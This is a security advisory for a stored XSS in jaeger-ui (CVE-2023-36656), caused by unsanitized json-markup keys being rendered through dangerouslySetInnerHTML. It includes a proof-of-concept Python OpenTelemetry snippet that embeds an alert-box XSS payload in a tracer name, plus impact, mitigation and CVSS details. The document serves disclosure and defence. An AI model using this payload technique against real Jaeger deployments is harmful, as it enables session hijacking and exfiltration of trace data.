Skip to content

A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries

Moderate
yurishkuro published GHSA-vv24-rm95-q56r Jul 11, 2023

Package

jaeger-ui

Affected versions

<= 1.30.0

Patched versions

1.31.0

Description

Summary

There is a stored XSS when viewing trace details. The XSS happens while rendering key-value tables in jaeger UI using the KeyValuesTable component.

Details

The offending component is the KeyValuesTable.tsx (https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L64), which uses the dangerouslySetInnerHTML function to render html markup generated by 'json-markup' package from the input values that are potentially controllable by an attacker.

The json-markup package (https://github.com/mafintosh/json-markup/blob/master/index.js#L88) does not properly sanitize keys in json objects.

PoC

In order to reproduce, perform the following steps:

  1. start a new instance of jaeger (I used the latest all-in-one docker image):
docker run -d --name jaeger \
  -e COLLECTOR_ZIPKIN_HOST_PORT=:9411 \
  -e COLLECTOR_OTLP_ENABLED=true \
  -p 6831:6831/udp \
  -p 6832:6832/udp \
  -p 5778:5778 \
  -p 16686:16686 \
  -p 4317:4317 \
  -p 4318:4318 \
  -p 14250:14250 \
  -p 14268:14268 \
  -p 14269:14269 \
  -p 9411:9411 \
  jaegertracing/all-in-one:1.46
  1. Use the following python snippet to generate the trace that exploits the XSS:
from opentelemetry import trace
from opentelemetry.sdk.trace import TracerProvider
from opentelemetry.sdk.trace.export import BatchSpanProcessor
from opentelemetry.exporter.otlp.proto.grpc.trace_exporter import OTLPSpanExporter
from opentelemetry.sdk.resources import SERVICE_NAME, Resource

import grpc

resource = Resource(attributes={
    SERVICE_NAME: "solidlab"
})

provider = TracerProvider(resource=resource)
otlp_exporter = OTLPSpanExporter(endpoint="http://localhost:4317")
processor = BatchSpanProcessor(otlp_exporter)
provider.add_span_processor(processor)
trace.set_tracer_provider(provider)


tracer = trace.get_tracer("{\"<input onfocus=alert(document.domain) autofocus>\":\"solidlab.tracer\"}")
with tracer.start_as_current_span("test_span") as span:
    span.set_attribute('test_attr', 'test_val')
  1. In the jaeger UI on http://localhost:16686/, select the 'solidlab' service, select the only trace present, open the span and expand the tags section. An alert box will pop up :
    xss-result

Impact

If an attacker controls the "key" part of a key-value pair (in a tag/logs/process), he can inject a js payload that will be executed once the offending trace is viewed and the corresponding section (tags/process/logs) is opened. Using an xss, an attacker would be able to perform arbitrary jaeger queries and exfiltrate returned data.

Mitigation

Patch json-markup library to properly sanitize object keys.

Credits

Discovered by Georgy Noseevich (@webpentest) from Solidlab LLC.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

CVE ID

CVE-2023-36656

Weaknesses

Credits